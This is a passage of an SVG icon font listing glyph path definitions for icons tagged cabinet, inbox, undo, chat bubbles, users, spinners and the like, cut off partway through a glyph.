<glyph unicode="&#xe058;" d="M 308,384L 140,384 L 56,328l0-112 l 336,0 L 392,328 L 308,384z M 280,244l-28,0 l0,18.666 C 252,267.8, 247.8,272, 242.666,272l-37.333,0 
		c-5.133,0-9.334-4.2-9.334-9.334L 196,244 l-28,0 l0,46.666 C 168,295.8, 172.201,300, 177.334,300l 93.332,0 c 5.134,0, 9.334-4.2, 9.334-9.334
		L 280,244 zM 56,75.999l 336,0 L 392,188 L 56,188 L 56,75.999 z M 168,150.667c0,5.134, 4.201,9.333, 9.334,9.333l 93.332,0 
		c 5.134,0, 9.334-4.199, 9.334-9.333L 280,104 l-28,0 l0,18.667 c0,5.134-4.2,9.333-9.334,9.333l-37.333,0 
		c-5.133,0-9.334-4.199-9.334-9.333L 196,104 l-28,0 L 168,150.667 zM 56-64l 336,0 L 392,47.999 L 56,47.999 L 56-64 z M 168,10.667c0,5.134, 4.201,9.333, 9.334,9.333l 93.332,0 c 5.134,0, 9.334-4.199, 9.334-9.333
		L 280-36 l-28,0 l0,18.667 c0,5.134-4.2,9.333-9.334,9.333l-37.333,0 c-5.133,0-9.334-4.199-9.334-9.333L 196-36 l-28,0 L 168,10.667 z" data-tags="cabinet, storage, drawer, archive, office" />
<glyph unicode="&#xe059;" d="M 308,300L 140,300 L0,132l0-70 l0-42 c0-15.464, 12.536-28, 28-28l 392,0 c 15.465,0, 28,12.536, 28,28l0,42 l0,70 L 308,300z M 336,132l-56-56L 168,76 
	l-56,56L 36.448,132 l 116.666,140l 141.771,0 l 116.666-140L 336,132 z" data-tags="drawer, inbox, box, archive, storage, category" />
<glyph unicode="&#xe05a;" d="M 308,300L 140,300 L0,132l0-112 c0-15.464, 12.536-28, 28-28l 392,0 c 15.465,0, 28,12.536, 28,28L 448,132 L 308,300z M 280,76L 168,76 l-28,28l 168,0 
		L 280,76z M 36.448,132l 116.666,140l 141.771,0 l 116.666-140L 36.448,132 zM 124.672,216L 323.328,216L 299.995,244L 148.005,244 	zM 78.005,160L 369.995,160L 346.662,188L 101.338,188 	z" data-tags="drawer, inbox, box, archive, storage, category" />
<glyph unicode="&#xe05b;" d="M 393.092,384 L 422.511,133.943 L 389.489,130.057 L 363.216,353.375 L 84.784,353.375 L 58.511,130.057 L 25.489,133.943 L 54.907,384 ZM 112,328L 336,328L 336,300L 112,300zM 112,272L 336,272L 336,244L 112,244zM 112,216L 336,216L 336,188L 112,188zM 112,160L 336,160L 336,132L 112,132zM 434,104L 14,104 c-7.7,0-12.008-5.976-9.572-13.282L 51.572-50.718C 54.008-58.024, 62.3-64, 70-64l 308,0 
	c 7.7,0, 15.992,5.976, 18.427,13.282l 47.146,141.438C 446.008,98.024, 441.7,104, 434,104z M 280,48L 168,48 l0,28 l 112,0 L 280,48 z" data-tags="drawer, inbox, box, archive, storage, category" />
<glyph unicode="&#xe05c;" d="M 364,356L 84,356 L0,272l0-294 c0-7.732, 6.268-14, 14-14l 420,0 c 7.732,0, 14,6.268, 14,14L 448,272 L 364,356z M 224,20L 84,132l 84,0 l0,84 l 112,0 l0-84 l 84,0 
	L 224,20z M 67.598,300l 28,28l 256.803,0 l 28-28L 67.598,300 z" data-tags="box-add, storage, inbox, archive, download" />
<glyph unicode="&#xe05d;" d="M 364,356L 84,356 L0,272l0-294 c0-7.732, 6.268-14, 14-14l 420,0 c 7.732,0, 14,6.268, 14,14L 448,272 L 364,356z M 280,104l0-84 L 168,20 l0,84 L 84,104 l 140,112
	l 140-112L 280,104 z M 67.598,300l 28,28l 256.802,0 l 28-28L 67.598,300 z" data-tags="box-remove, storage, inbox, archive, upload" />
<glyph unicode="&#xe05e;" d="M 224,132L 336,244L 252,244L 252,356L 196,356L 196,244L 112,244 	zM 325.818,177.819L 294.431,146.431L 408.216,104L 224,35.305L 39.784,104L 153.569,146.431L 122.181,177.819L0,132L0,20L 224-64L 448,20L 448,132 	z" data-tags="download, store, save, arrow" />
<glyph unicode="&#xe05f;" d="M 196,132L 252,132L 252,244L 336,244L 224,356L 112,244L 196,244 	zM 280,195L 280,151.814L 408.216,104L 224,35.305L 39.784,104L 168,151.814L 168,195L0,132L0,20L 224-64L 448,20L 448,132 	z" data-tags="upload, load, arrow" />
<glyph unicode="&#xe060;" d="M 392,384L0,384 l0-448 l 448,0 L 448,328 L 392,384z M 224,328l 56,0 l0-112 l-56,0 L 224,328 z M 392-8L 56-8 L 56,328 l 28,0 l0-140 l 252,0 L 336,328 l 32.803,0 L 392,304.805L 392-8 z" data-tags="disk, save, floppy" />
<glyph unicode="&#xe061;" d="M 84-8l 280,0 c 46.392,0, 84,37.607, 84,84L0,76 C0,29.608, 37.608-8, 84-8z M 364,48l 28,0 l0-28 l-28,0 L 364,48 zM 420,328L 28,328L0,104L 448,104 	z" data-tags="storage, save, hdd, hard disk, drive" />
<glyph unicode="&#xe062;" d="M 224,356c-61.855,0-117.852-25.078-158.389-65.615L0,356l0-168 l 168,0 l-62.795,62.791C 135.609,281.194, 177.607,300, 224,300
	c 92.78,0, 168-75.217, 168-168c0-50.179-22.003-95.216-56.883-126l 37.041-42C 418.666,5.045, 448,65.096, 448,132
	C 448,255.712, 347.712,356, 224,356z" data-tags="undo, arrow, left" />
<glyph unicode="&#xe063;" d="M0,132c0-66.904, 29.334-126.956, 75.841-168l 37.041,42C 78.002,36.784, 56,81.82, 56,132c0,92.783, 75.219,168, 168,168
	c 46.393,0, 88.392-18.806, 118.794-49.209L 280,188l 168,0 L 448,356 l-65.612-65.615C 341.852,330.922, 285.856,356, 224,356
	C 100.288,356,0,255.712,0,132z" data-tags="redo, arrow, right" />
<glyph unicode="&#xe064;" d="M0,216L 448,216L 448,384 		zM 448-36L 448,132L0,132 		z" data-tags="flip, mirror, vertical" />
<glyph unicode="&#xe065;" d="M 252,384L 252-64L 420-64 		zM0-64L 168-64L 168,384 		z" data-tags="flip, mirror, horizontal" />
<glyph unicode="&#xe066;" d="M 333.315-64C 383.070,26.139, 391.453,163.634, 196,159.048L 196,48 L 28,216L 196,384l0-108.663 
	C 430.046,281.437, 456.124,68.744, 333.315-64z" data-tags="undo, arrow, left" />
<glyph unicode="&#xe067;" d="M 252,275.337L 252,384 l 168-168L 252,48L 252,159.048 C 56.547,163.634, 64.93,26.139, 114.686-64
	C-8.125,68.744, 17.955,281.437, 252,275.337z" data-tags="redo, arrow, right" />
<glyph unicode="&#xe068;" d="M 114.686,384C 64.93,293.861, 56.547,156.367, 252,160.952L 252,272 l 168-168L 252-64L 252,44.663 C 17.955,38.563-8.125,251.256, 114.686,384z" data-tags="forward, arrow, right" />
<glyph unicode="&#xe069;" d="M 196,44.663L 196-64 L 28,104l 168,168l0-111.048 C 391.453,156.367, 383.070,293.861, 333.315,384
	C 456.125,251.256, 430.046,38.563, 196,44.663z" data-tags="reply, arrow, left" />
<glyph unicode="&#xe06a;" d="M 224,356 C 347.712,356 448,274.516 448,174 C 448,73.484 347.712-8 224-8 C 212.119-8 200.458-7.241 189.077-5.793 C 140.962-53.909 83.53-62.537 28-63.804 L 28-52.028 C 57.984-37.338 84-10.579 84,20 C 84,24.267 83.668,28.457 83.053,32.555 C 32.393,65.92 0,116.884 0,174 C 0,274.516 100.288,356 224,356 Z" data-tags="bubble, comment, chat, talk" />
<glyph unicode="&#xe06b;" d="M 476-10.26 C 476-30.166 487.387-47.407 504-55.841 L 504-62.813 C 499.351-63.45 494.606-63.786 489.781-63.786 C 460.028-63.786 433.192-51.305 414.215-31.296 C 402.743-34.351 390.589-36 378-36 C 308.412-36 252,14.144 252,76 C 252,137.856 308.412,188 378,188 C 447.588,188 504,137.856 504,76 C 504,51.785 495.353,29.366 480.657,11.046 C 477.671,4.561 476-2.653 476-10.26 ZM 224,384 C 345.825,384 444.934,304.981 447.928,206.585 C 426.411,216.175 402.609,221.25 378,221.25 C 336.192,221.25 296.705,206.617 266.815,180.047 C 235.819,152.497 218.75,115.545 218.75,76 C 218.75,56.456 222.925,37.549 230.885,20.093 C 228.597,20.038 226.305,20 224,20 C 212.119,20 200.458,20.759 189.077,22.207 C 140.962-25.909 83.53-34.537 28-35.804 L 28-24.028 C 57.984-9.338 84,17.421 84,48 C 84,52.267 83.668,56.457 83.053,60.555 C 32.393,93.92 0,144.884 0,202 C 0,302.516 100.288,384 224,384 Z" horiz-adv-x="504" data-tags="bubbles, comments, chat, talk" />
<glyph unicode="&#xe06c;" d="M 210,384 L 210,384 C 325.98,384 420,307.913 420,214.054 C 420,120.195 325.98,44.108 210,44.108 C 198.862,44.108 187.93,44.817 177.26,46.169 C 132.151,1.24 80.060-6.816 28-8 L 28,2.996 C 56.11,16.714 78.75,41.7 78.75,70.255 C 78.75,74.239 78.439,78.151 77.862,81.977 C 30.368,113.133 0,160.722 0,214.054 C 0,307.913 94.020,384 210,384 ZM 435.75,3.075 C 435.75-21.4 451.637-42.818 476-54.575 L 476-64 C 430.882-62.986 389.469-56.080 350.375-17.57 C 341.127-18.729 331.653-19.337 322-19.337 C 280.232-19.337 241.759-8.068 211.044,10.868 C 274.339,11.089 334.095,31.366 379.409,68.037 C 402.25,86.522 420.269,108.211 432.965,132.501 C 446.425,158.255 453.25,185.694 453.25,214.054 C 453.25,218.625 453.053,223.17 452.7,227.69 C 484.449,201.469 504,165.73 504,126.332 C 504,80.618 477.681,39.828 436.52,13.123 C 436.020,9.843 435.75,6.49 435.75,3.075 Z" horiz-adv-x="504" data-tags="bubbles, comments, chat, talk" />
<glyph unicode="&#xe06d;" d="M 224,300 C 199.967,300 176.755,296.21 155.009,288.738 C 134.572,281.714 116.375,271.787 100.922,259.231 C 71.953,235.695 56,205.426 56,174 C 56,156.37 60.895,139.272 70.548,123.183 C 80.502,106.594 95.477,91.427 113.855,79.323 C 127.136,70.577 136.071,56.596 138.432,40.87 C 139.22,35.627 139.713,30.331 139.906,25.065 C 143.174,27.775 146.359,30.685 149.479,33.805 C 160.046,44.371 174.32,50.207 189.073,50.207 C 191.422,50.207 193.782,50.060 196.142,49.759 C 205.318,48.592 214.691,48 224,48 C 248.034,48 271.245,51.789 292.991,59.262 C 313.428,66.286 331.625,76.213 347.078,88.769 C 376.047,112.305 392,142.574 392,174 C 392,205.426 376.047,235.695 347.078,259.231 C 331.625,271.787 313.428,281.714 292.991,288.738 C 271.245,296.21 248.034,300 224,300 Z M 224,356 L 224,356 C 347.712,356 448,274.516 448,174 C 448,73.484 347.712-8 224-8 C 212.119-8 200.458-7.241 189.077-5.793 C 140.962-53.909 83.53-62.537 28-63.804 L 28-52.028 C 57.984-37.338 84-10.579 84,20 C 84,24.267 83.668,28.457 83.053,32.555 C 32.393,65.92 0,116.884 0,174 C 0,274.516 100.288,356 224,356 Z" data-tags="bubble, comment, chat, talk" />
<glyph unicode="&#xe06e;" d="M 476-10.26 C 476-30.166 487.387-47.407 504-55.841 L 504-62.813 C 499.351-63.45 494.606-63.786 489.781-63.786 C 460.028-63.786 433.192-51.305 414.215-31.296 C 402.743-34.351 390.589-36 378-36 C 308.412-36 252,14.144 252,76 C 252,137.856 308.412,188 378,188 C 447.588,188 504,137.856 504,76 C 504,51.785 495.353,29.366 480.657,11.046 C 477.671,4.561 476-2.653 476-10.26 ZM 100.922,287.231 C 71.953,263.695 56,233.426 56,202 C 56,184.37 60.895,167.272 70.548,151.184 C 80.502,134.594 95.477,119.428 113.855,107.324 C 127.136,98.578 136.071,84.597 138.432,68.87 C 139.22,63.627 139.713,58.332 139.906,53.066 C 143.174,55.776 146.359,58.686 149.479,61.806 C 160.046,72.372 174.32,78.208 189.073,78.208 C 191.422,78.208 193.782,78.061 196.142,77.76 C 205.306,76.595 214.667,76.003 223.964,76.001 L 223.964,20.001 C 212.096,20.002 200.447,20.761 189.077,22.207 C 140.962-25.909 83.53-34.537 28-35.804 L 28-24.028 C 57.984-9.338 84,17.421 84,48 C 84,52.267 83.668,56.457 83.053,60.555 C 32.393,93.92 0,144.884 0,202 C 0,302.516 100.288,384 224,384 C 345.825,384 444.934,304.981 447.928,206.585 C 429.949,214.598 410.373,219.457 390.064,220.838 C 385.019,245.368 370.2,268.445 347.078,287.231 C 331.625,299.787 313.428,309.714 292.991,316.738 C 271.245,324.21 248.034,328 224,328 C 199.967,328 176.755,324.21 155.009,316.738 C 134.572,309.714 116.375,299.787 100.922,287.231 Z" horiz-adv-x="504" data-tags="bubbles, comments, chat, talk" />
<glyph unicode="&#xe06f;" d="M 210,328 C 187.834,328 166.433,324.522 146.394,317.663 C 127.614,311.234 110.906,302.16 96.736,290.693 C 70.467,269.435 56,242.217 56,214.054 C 56,198.308 60.404,183.014 69.090,168.599 C 78.14,153.575 91.795,139.814 108.579,128.805 C 121.896,120.068 130.863,106.076 133.237,90.326 C 133.632,87.706 133.95,85.074 134.191,82.437 C 135.382,83.54 136.564,84.675 137.741,85.847 C 148.301,96.365 162.542,102.171 177.257,102.171 C 179.596,102.171 181.946,102.024 184.298,101.726 C 192.768,100.653 201.414,100.109 210,100.109 C 232.166,100.109 253.566,103.586 273.606,110.446 C 292.386,116.874 309.094,125.949 323.264,137.415 C 349.534,158.673 364,185.891 364,214.054 C 364,242.217 349.534,269.434 323.264,290.693 C 309.094,302.16 292.386,311.234 273.606,317.663 C 253.566,324.522 232.166,328 210,328 Z M 210,384 L 210,384 C 325.98,384 420,307.913 420,214.054 C 420,120.195 325.98,44.108 210,44.108 C 198.862,44.108 187.93,44.817 177.26,46.169 C 132.151,1.24 80.060-6.816 28-8 L 28,2.996 C 56.11,16.714 78.75,41.7 78.75,70.255 C 78.75,74.239 78.439,78.151 77.862,81.977 C 30.368,113.133 0,160.722 0,214.054 C 0,307.913 94.020,384 210,384 ZM 435.75,3.075 C 435.75-21.4 451.637-42.818 476-54.575 L 476-64 C 430.882-62.986 389.469-56.080 350.375-17.57 C 341.127-18.729 331.653-19.337 322-19.337 C 280.232-19.337 241.759-8.068 211.044,10.868 C 274.339,11.089 334.095,31.366 379.409,68.037 C 402.25,86.522 420.269,108.211 432.965,132.501 C 446.425,158.255 453.25,185.694 453.25,214.054 C 453.25,218.625 453.053,223.17 452.7,227.69 C 484.449,201.469 504,165.73 504,126.332 C 504,80.618 477.681,39.828 436.52,13.123 C 436.020,9.843 435.75,6.49 435.75,3.075 Z" horiz-adv-x="504" data-tags="bubbles, comments, chat, talk" />
<glyph unicode="&#xe070;" d="M 272.486,76.553c-9.673,1.539-9.894,28.137-9.894,28.137s 28.424,28.138, 34.618,65.976
	c 16.664,0, 26.958,40.226, 10.291,54.38C 308.198,239.944, 328.922,342, 224,342c-104.922,0-84.197-102.056-83.503-116.954
	c-16.666-14.153-6.374-54.38, 10.291-54.38c 6.194-37.838, 34.618-65.976, 34.618-65.976s-0.221-26.598-9.894-28.137
	C 144.354,71.595, 28,20.276, 28-36l 196,0 l 196,0 C 420,20.276, 303.646,71.595, 272.486,76.553z" data-tags="user, profile, avatar, person, talk, member" />
<glyph unicode="&#xe071;" d="M 321.56,31.649c-8.292,1.307-8.48,23.911-8.48,23.911s 24.364,23.912, 29.673,56.066
	c 14.285,0, 23.106,34.185, 8.822,46.212c 0.596,12.661, 18.361,99.389-71.574,99.389c-89.934,0-72.169-86.728-71.574-99.389
	c-14.286-12.027-5.463-46.212, 8.821-46.212c 5.309-32.154, 29.674-56.066, 29.674-56.066s-0.189-22.604-8.48-23.911
	C 211.732,27.435, 112-16.177, 112-64l 168,0 l 168,0 C 448-16.177, 348.268,27.435, 321.56,31.649zM 150.524,24.021c 19.291,11.878, 42.711,22.885, 61.923,29.498c-6.892,9.814-14.566,23.16-19.394,38.965
	c-6.74,5.498-12.226,13.358-15.749,23.013c-3.529,9.671-4.866,20.498-3.766,30.487c 0.789,7.171, 2.834,13.854, 5.972,19.726
	c-1.903,20.381-3.244,60.39, 22.946,89.57c 10.156,11.316, 22.993,19.451, 38.369,24.363C 238.079,307.975, 223.691,341.229, 168,341.229
	c-89.934,0-72.169-86.728-71.574-99.389c-14.286-12.027-5.463-46.212, 8.821-46.212c 5.309-32.154, 29.674-56.066, 29.674-56.066
	s-0.189-22.604-8.48-23.911C 99.732,111.435,0,67.823,0,20l 144.198,0 C 146.259,21.345, 148.357,22.686, 150.524,24.021z" data-tags="users, people, group, team, members, community" />
<glyph unicode="&#xe072;" d="M 371-64L 77-64 c-11.598,0-21,9.402-21,21c0,30.127, 12.717,66.589, 34.019,97.537c 17.803,25.864, 39.674,45.334, 63.297,56.704
		c-10.412,9.469-19.379,21.011-26.472,34.178c-11.375,21.115-17.389,45.521-17.389,70.581c0,34.828, 11.464,67.735, 32.281,92.658
		C 163.464,334.673, 192.679,349, 224,349s 60.536-14.327, 82.265-40.342c 20.816-24.924, 32.281-57.83, 32.281-92.658
		c0-25.060-6.013-49.466-17.388-70.581c-7.094-13.167-16.061-24.709-26.473-34.178c 23.622-11.371, 45.494-30.84, 63.297-56.704
		C 379.283,23.589, 392-12.873, 392-43C 392-54.598, 382.598-64, 371-64z M 100.657-22l 246.685,0 
		c-4.036,17.211-12.477,36.043-23.958,52.723c-18.136,26.349-40.764,43.585-63.717,48.53c-9.671,2.084-16.576,10.636-16.576,20.529
		l0,15.003 c0,7.551, 4.054,14.521, 10.618,18.253c 26.022,14.802, 42.837,47.366, 42.837,82.961c0,50.178-32.543,91-72.545,91
		c-40.002,0-72.545-40.822-72.545-91c0-35.595, 16.815-68.159, 42.837-82.961c 6.563-3.734, 10.617-10.702, 10.617-18.253l0-15.003 
		c0-9.894-6.905-18.445-16.576-20.529c-22.952-4.946-45.581-22.181-63.717-48.53C 113.134,14.043, 104.695-4.789, 100.657-22z" data-tags="user, profile, avatar, person, talk, member" />
<glyph unicode="&#xe073;" d="M 427-64L 133-64 c-11.598,0-21,9.402-21,21c0,30.127, 12.717,66.589, 34.019,97.537c 17.803,25.864, 39.674,45.334, 63.297,56.704
		c-10.412,9.469-19.379,21.011-26.472,34.178c-11.375,21.115-17.389,45.521-17.389,70.581c0,34.828, 11.464,67.735, 32.281,92.658
		C 219.464,334.673, 248.679,349, 280,349s 60.536-14.327, 82.265-40.342c 20.816-24.924, 32.281-57.83, 32.281-92.658
		c0-25.060-6.013-49.466-17.388-70.581c-7.094-13.167-16.061-24.709-26.473-34.178c 23.622-11.371, 45.494-30.84, 63.297-56.704
		C 435.283,23.589, 448-12.873, 448-43C 448-54.598, 438.598-64, 427-64z M 156.657-22l 246.685,0 
		c-4.036,17.211-12.477,36.043-23.958,52.723c-18.136,26.349-40.764,43.585-63.717,48.53c-9.671,2.084-16.576,10.636-16.576,20.529
		l0,15.003 c0,7.551, 4.054,14.521, 10.618,18.253c 26.022,14.802, 42.837,47.366, 42.837,82.961c0,50.178-32.543,91-72.545,91
		s-72.545-40.822-72.545-91c0-35.595, 16.815-68.159, 42.837-82.961c 6.563-3.734, 10.617-10.702, 10.617-18.253l0-15.003 
		c0-9.894-6.905-18.445-16.576-20.529c-22.952-4.946-45.581-22.181-63.717-48.53C 169.134,14.043, 160.695-4.789, 156.657-22zM 86.237,6l-41.58,0 c 4.037,17.211, 12.477,36.043, 23.957,52.723c 18.137,26.349, 40.765,43.585, 63.717,48.53
		c 9.671,2.084, 16.576,10.636, 16.576,20.529l0,15.003 c0,7.551-4.054,14.521-10.617,18.253c-26.022,14.802-42.837,47.366-42.837,82.961
		c0,50.178, 32.543,91, 72.545,91c 2.736,0, 5.436-0.198, 8.095-0.57c 11.532,12.834, 24.602,23.264, 38.781,31.064
		C 200.353,373.034, 184.468,377, 168,377c-31.321,0-60.536-14.327-82.265-40.342C 64.919,311.735, 53.455,278.828, 53.455,244
		c0-25.060, 6.013-49.466, 17.389-70.581c 7.094-13.167, 16.061-24.708, 26.472-34.178c-23.622-11.371-45.494-30.84-63.297-56.704
		C 12.717,51.589,0,15.127,0-15c0-11.598, 9.402-21, 21-21l 57.919,0 C 79.565-22.426, 82.068-8.257, 86.237,6z" data-tags="users, people, group, team, members, community" />
<glyph unicode="&#xe074;" d="M 112,244A112,112 12780 1 0 336,244A112,112 12780 1 0 112,244zM 336,104L 112,104 C 50.145,104,0,53.855,0-8l0-28 l 3.529,0 l 440.942,0 L 448-36 l0,28 C 448,53.855, 397.856,104, 336,104z" data-tags="user, profile, avatar, person, talk, member" />
<glyph unicode="&#xe075;" d="M 140,300A84,84 10980 1 0 308,300A84,84 10980 1 0 140,300zM 336.034,188l-0.068,0 l-15.43,0 l-87.108-176.857L 266,174l-42,42l-42-42l 32.572-162.857L 127.465,188l-15.431,0 l-0.067,0 
		C 56,188, 56,150.381, 56,104l0-140 l 336,0 L 392,104 C 392,150.381, 392,188, 336.034,188z" data-tags="user, profile, avatar, person, talk, member, employee, job, official" />
<glyph unicode="&#xe076;" d="M 98.438,188 C 152.561,188 196.438,144.123 196.438,90 C 196.438,35.876 152.561-8 98.438-8 C 44.313-8 0.438,35.876 0.438,90 L 0,104 C 0,212.248 87.752,300 196,300 L 196,244 C 158.605,244 123.448,229.437 97.005,202.995 C 91.915,197.904 87.27,192.488 83.079,186.799 C 88.084,187.586 93.212,188 98.438,188 ZM 350.438,188 C 404.561,188 448.438,144.123 448.438,90 C 448.438,35.876 404.561-8 350.438-8 C 296.314-8 252.438,35.876 252.438,90 L 252,104 C 252,212.248 339.752,300 448,300 L 448,244 C 410.605,244 375.448,229.437 349.005,202.995 C 343.914,197.904 339.269,192.488 335.079,186.799 C 340.084,187.586 345.211,188 350.438,188 Z" data-tags="quotes-left, ldquo" />
<glyph unicode="&#xe077;" d="M 318.934,160C 379.201,198.209, 420,271.654, 420,356c0,9.483-0.521,18.827-1.522,28L 29.523,384 C 28.521,374.826, 28,365.482, 28,356
		c0-84.347, 40.799-157.791, 101.065-196C 68.799,121.791, 28,48.346, 28-36c0-9.483, 0.521-18.827, 1.522-28l 388.956,0 
		c 1.001,9.173, 1.522,18.517, 1.522,28C 420,48.346, 379.201,121.791, 318.934,160z M 70-36c0,81.774, 35.071,151.119, 98,173.997
		l0,44.006 l0,0 C 105.071,204.881, 70,274.225, 70,356l0,0 l 308,0 l0,0 c0-81.775-35.071-151.119-98-173.996l0-44.006 
		C 342.929,115.119, 378,45.774, 378-36L 70-36 zM 271.086,91.053c-31.349,17.782-33.079,40.849-33.086,54.848L 238,174 c0,13.997, 1.664,37.15, 33.138,54.978
		c 16.845,9.784, 31.416,24.652, 42.459,43.022L 134.404,272 c 11.054-18.389, 25.643-33.268, 42.51-43.053
		c 31.349-17.782, 33.078-40.848, 33.086-54.848L 210.001,146 c0-13.997-1.664-37.15-33.138-54.978c-31.772-18.454-55.448-54.987-62.602-99.022
		l 219.481,0 C 326.582,36.060, 302.885,72.609, 271.086,91.053z" data-tags="busy, wait, loading, hour glass" />
<glyph unicode="&#xe078;" d="M 168,328A56,56 12780 1 0 280,328A56,56 12780 1 0 168,328zM 286.794,278.794A56,56 12780 1 0 398.794,278.794A56,56 12780 1 0 286.794,278.794zM 364,160A28,28 12780 1 0 420,160A28,28 12780 1 0 364,160zM 314.794,41.206A28,28 12780 1 0 370.794,41.20600000000002A28,28 12780 1 0 314.794,41.20600000000002zM 196.001-8A28,28 12780 1 0 252.001-8A28,28 12780 1 0 196.001-8zM 77.207,41.206A28,28 12780 1 0 133.207,41.20600000000002A28,28 12780 1 0 77.207,41.20600000000002zM 63.207,278.794A42,42 12780 1 0 147.207,278.794A42,42 12780 1 0 63.207,278.794zM 24.5,160A31.5,31.5 12780 1 0 87.5,160A31.5,31.5 12780 1 0 24.5,160z" data-tags="spinner, loading, busy, wait, wheel" />
<glyph unicode="&#xe079;" d="M 448,160c-0.559,29.252-6.905,58.413-18.627,85.077c-11.683,26.688-28.64,50.863-49.456,70.84
	c-20.804,19.992-45.476,35.796-72.181,46.223C 281.047,372.607, 252.351,377.606, 224,377c-28.354-0.561-56.583-6.726-82.396-18.093
	c-25.834-11.329-49.237-27.768-68.571-47.939c-19.348-20.161-34.633-44.060-44.706-69.912C 18.214,215.216, 13.395,187.453, 14,160
	c 0.563-27.457, 6.547-54.752, 17.559-79.715c 10.976-24.981, 26.896-47.612, 46.423-66.302c 19.517-18.705, 42.644-33.471, 67.644-43.19
	C 170.614-38.965, 197.445-43.602, 224-43c 26.56,0.564, 52.921,6.367, 77.033,17.025c 24.128,10.623, 45.988,26.022, 64.035,44.907
	c 18.061,18.874, 32.307,41.228, 41.674,65.376c 5.702,14.638, 9.572,29.925, 11.612,45.412c 0.545-0.032, 1.093-0.052, 1.646-0.052
	c 15.464,0, 28,12.535, 28,28c0,0.786-0.041,1.563-0.104,2.333L 448,159.999 z M 403.509,85.648c-10.269-23.276-25.149-44.363-43.39-61.766
	c-18.231-17.417-39.813-31.144-63.107-40.158C 273.724-25.323, 248.76-29.599, 224-29c-24.764,0.568-49.261,6.010-71.671,15.957
	c-22.422,9.916-42.737,24.277-59.497,41.874c-16.773,17.587-29.981,38.397-38.641,60.838C 45.497,112.106, 41.403,136.138, 42,160
	c 0.57,23.866, 5.831,47.43, 15.424,68.989c 9.563,21.569, 23.405,41.112, 40.358,57.229c 16.944,16.13, 36.982,28.818, 58.57,37.124
	C 177.936,331.682, 201.036,335.596, 224,335c 22.969-0.571, 45.6-5.652, 66.308-14.89c 20.716-9.209, 39.487-22.532, 54.96-38.842
	c 15.486-16.3, 27.654-35.566, 35.608-56.301C 388.861,204.233, 392.594,182.067, 392,160l 0.104,0 c-0.063-0.77-0.104-1.547-0.104-2.333
	c0-14.443, 10.934-26.326, 24.975-27.835C 414.252,114.597, 409.743,99.724, 403.509,85.648z" data-tags="spinner, loading, busy, wait, wheel" />
<glyph unicode="&#xe07a;" d="M 84,160c0,5.329, 0.308,10.586, 0.888,15.76l-80.929,26.296C 1.371,188.431,0,174.377,0,160
			c0-64.413, 27.198-122.466, 70.724-163.329l 49.999,68.817C 97.919,90.393, 84,123.569, 84,160zM 364,160c0-36.43-13.918-69.607-36.723-94.512l 49.999-68.817C 420.802,37.534, 448,95.587, 448,160
			c0,14.377-1.37,28.431-3.958,42.055l-80.929-26.296C 363.692,170.585, 364,165.329, 364,160zM 252,297.197c 40.221-8.165, 74.175-33.575, 93.822-68.174l 80.928,26.295C 394.726,323.314, 329.52,372.594, 252,382.26L 252,297.197 zM 102.178,229.023c 19.646,34.599, 53.601,60.009, 93.822,68.174L 196,382.26 C 118.48,372.594, 53.274,323.314, 21.251,255.318
			L 102.178,229.023zM 281.993,32.544C 264.323,24.49, 244.687,20, 224,20s-40.323,4.49-57.992,12.543l-50.003-68.823
			C 148.032-53.94, 184.839-64, 224-64s 75.968,10.060, 107.996,27.72L 281.993,32.544z" data-tags="spinner, loading, busy, wait, wheel" />
<glyph unicode="&#xe07b;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224,272
	c 61.855,0, 112-50.145, 112-112s-50.145-112-112-112s-112,50.145-112,112S 162.144,272, 224,272z M 357.643,26.357
	C 321.946-9.34, 274.483-29, 224-29c-50.484,0-97.946,19.66-133.643,55.357C 54.66,62.054, 35,109.516, 35,160
	c0,50.483, 19.66,97.946, 55.357,133.643l 29.698-29.698c0,0,0,0,0,0c-57.315-57.315-57.315-150.574,0-207.889
	C 147.82,28.291, 184.734,13, 224,13c 39.265,0, 76.179,15.291, 103.945,43.055c 57.315,57.315, 57.315,150.573,0,207.889l 29.698,29.698
	C 393.34,257.946, 413,210.483, 413,160C 413,109.516, 393.34,62.054, 357.643,26.357z" data-tags="spinner, loading, busy, wait, wheel" />
<glyph unicode="&#xe07c;" d="M 224,384 C 102.048,384 2.862,286.542 0.067,165.261 C 2.656,271.077 83.118,356 182,356 C 282.516,356 364,268.248 364,160 C 364,136.804 382.804,118 406,118 C 429.196,118 448,136.804 448,160 C 448,283.712 347.712,384 224,384 ZM 224-64 C 345.952-64 445.138,33.458 447.933,154.739 C 445.344,48.923 364.882-36 266-36 C 165.484-36 84,51.752 84,160 C 84,183.196 65.196,202 42,202 C 18.804,202 0,183.196 0,160 C 0,36.288 100.288-64 224-64 Z" data-tags="spinner, loading, busy, wait, wheel" />
<glyph unicode="&#xe07d;" d="M 448,216 L 280,216 L 342.794,278.794 C 311.063,310.525 268.874,328 224,328 C 179.126,328 136.938,310.525 105.206,278.794 C 73.475,247.062 56,204.874 56,160 C 56,115.126 73.475,72.937 105.206,41.206 C 136.938,9.476 179.126-8 224-8 C 268.874-8 311.063,9.476 342.793,41.207 C 345.443,43.855 347.982,46.584 350.43,49.374 L 392.57,12.5 C 351.513-34.385 291.217-64 224-64 C 100.288-64 0,36.288 0,160 C 0,283.712 100.288,384 224,384 C 285.856,384 341.849,358.92 382.382,318.382 L 448,384 L 448,216 Z" data-tags="spinner, loading, busy, wait, wheel, repeat" />
<glyph unicode="&#xe07e;" d="M 28,384L 196,384L 196,356L 28,356zM 252,384L 420,384L 420,356L 252,356zM 416.5,244l-24.5,0 L 392,356 L 280,356 l0-112 L 168,244 L 168,356 L 56,356 l0-112 L 31.5,244 c-17.325,0-31.5-14.175-31.5-31.5l0-245 c0-17.325, 14.175-31.5, 31.5-31.5l 133,0 c 17.325,0, 31.5,14.175, 31.5,31.5L 196,132 l 56,0 
	l0-164.5 c0-17.325, 14.175-31.5, 31.5-31.5l 133,0 c 17.325,0, 31.5,14.175, 31.5,31.5L 448,212.5 C 448,229.825, 433.825,244, 416.5,244z M 152.25-36L 43.75-36 c-8.662,0-15.75,6.3-15.75,14
	s 7.087,14, 15.75,14l 108.5,0 c 8.662,0, 15.75-6.3, 15.75-14S 160.912-36, 152.25-36z M 238,160l-28,0 c-7.7,0-14,6.3-14,14s 6.3,14, 14,14l 28,0 c 7.7,0, 14-6.3, 14-14
